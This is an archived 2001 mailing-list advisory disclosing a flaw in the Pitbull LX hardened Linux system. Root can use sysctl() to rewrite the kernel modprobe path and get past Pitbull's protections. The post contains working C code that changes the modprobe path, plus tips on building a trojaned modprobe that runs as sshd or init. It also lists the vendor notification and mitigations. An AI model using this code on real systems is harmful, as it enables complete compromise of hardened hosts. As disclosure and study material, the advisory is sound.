Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: Roland Postle (mailBLAZDE.CO.UK)
Date: Fri Mar 30 2001 - 03:01:59 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]


    Back in February, eWeek and Argus Systems held OpenHack III. "Pitbull vs The
    Worlds Toughest". With much hype the contest came and went. The result? "17
    days, 40,000 Challengers, 5.4 Million Punches and 1 E-Security Champion". As
    'the first product to withstand an OpenHack unscathed' Pitbull LX received
    an eWeek Excellence Award in a security category. See www.eweek.com for a
    full report of the competition and award.

    This month, for CeBit, the very same systems were put back online and for
    one week the contest resumed (with prize money converted into DM). "A
    Rematch". The result? The word I have is that there will be no official
    press release. The website has even dissapeared. Well... Argus Systems are
    happy with the coverage they recieved from OpenHack III. And so they should
    be, Pitbull is a _very_ secure product. In my opinion, one of the very best
    security solutions. It's used by many online banks. But not many product are
    100% secure....

    While the systems were still online, just hours after the end of the
    contest, a vulnerability was exploited on the "DNS machine" running Pitbull
    LX. Security was completely compromised, and a similar attack would have
    been capable of claiming prize money at either OpenHack III or CeBit.


    Vulnerable: PitBull LX (Pitbull For Linux), All versions
    Not Vulnerable: PitBull Foundation .compack (Pitbull for Solaris and AIX),
    All versions
    Type: Non-Instantaneous Complete System Compromise
    Local: Yes (Must be root)
    Remote: No


    The vulnerability stems from Pitbull LX's failure to apply it's enhanced
    security features to all the kernel variables made available in /proc/sys/.
    Although the file-system will restrict access to the /proc/sys/ directory,
    all these variables can be accessed through calls to sysctl() which only
    checks a processes standard unix credentials. Almost all the variables are
    mode 644 or 444. So any user can read the kernel variables and a root user
    can modify many of them. A process with uid 0, can thus bypass Pitbull and
    modify some very sensitive kernel data. (If that last statement makes your
    wonder what the problem is remember that "root means nothing on a Pitbull


    By modifying kernel variables such as MaxFiles, MaxInodes and numerous
    virtual memory settings system instability can be caused but much more
    worringly ModProbePath can be altered to point to malicous code. When
    modprobe is next execd in order to load a module, the malicous code will be
    executed in the security context of the process which requested the module.
    This may be another user, init or sshd for example. Init and sshd run
    without the ASG_AWARE flag, so they are immune to all pitbull security.
    Fortunately all kernel variables are reset at startup which is when the
    majority of modules are loaded by init (ie. Before a user has chance to
    modify modprobepath). However sshd will often attempt to load terminal
    emulation/character set modules everytime a user connects to it.

    The following program will modify modprobe's path:

    #include <linux/unistd.h>
    #include <linux/types.h>
    #include <linux/sysctl.h>

    _syscall1(int, _sysctl, struct __sysctl_args *, args);
    int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval,
    size_t newlen) {
        struct __sysctl_args
        args = {name, nlen, oldval, oldlenp, newval, newlen};
        return _sysctl(&args);

    int variablename[] = { CTL_KERN, KERN_MODPROBE };

    char oldpath[512];
    int oldpathlen = 512;
    char path[512];
    int pathlen = 512;

    int main(int argc, char *argv[]) {
        if(argc < 2) {
            printf("Usage: %s NewModprobePath", argv[0]);

        // Read kernel variable
        sysctl(variablename, 2, oldpath, &oldpathlen, NULL, 0);

        // Write kernel variable
        sysctl(variablename, 2, path, &pathlen, argv[1], strlen(argv[1]));

        printf("Old Path: %s, New Path %s\n", oldpath, argv[1]);

        return 0;

    N.B. The trojaned modprobe should call the real modprobe (usually in
    /sbin/modprobe) with identical arguments except that argv[0] _must_ be
    "modprobe" (or possibly "insmod") or else modprobe claims it is being
    impersonated. This will ensure the relevant module still get's loaded.


    An unoffical patch has been released which adds protection to a small number
    of the (readonly) variables. Get it from support on www.argusrevolution.com.

    Argus Systems have been notified of the bug and, although they were fairly
    unresponsive, they did at least want to know what the bug was. Keep tabs on
    www.argusrevolution.com for a full fix.

    In the mean time, the exploit discussed above can be avoided by recompiling
    the kernel without support for modules (drastic I know).

    -= Blazde =- [Unofficial Defeator of Pitbull (Yeah I'm real bitter about
    not gettin any prize money... but that's another story)]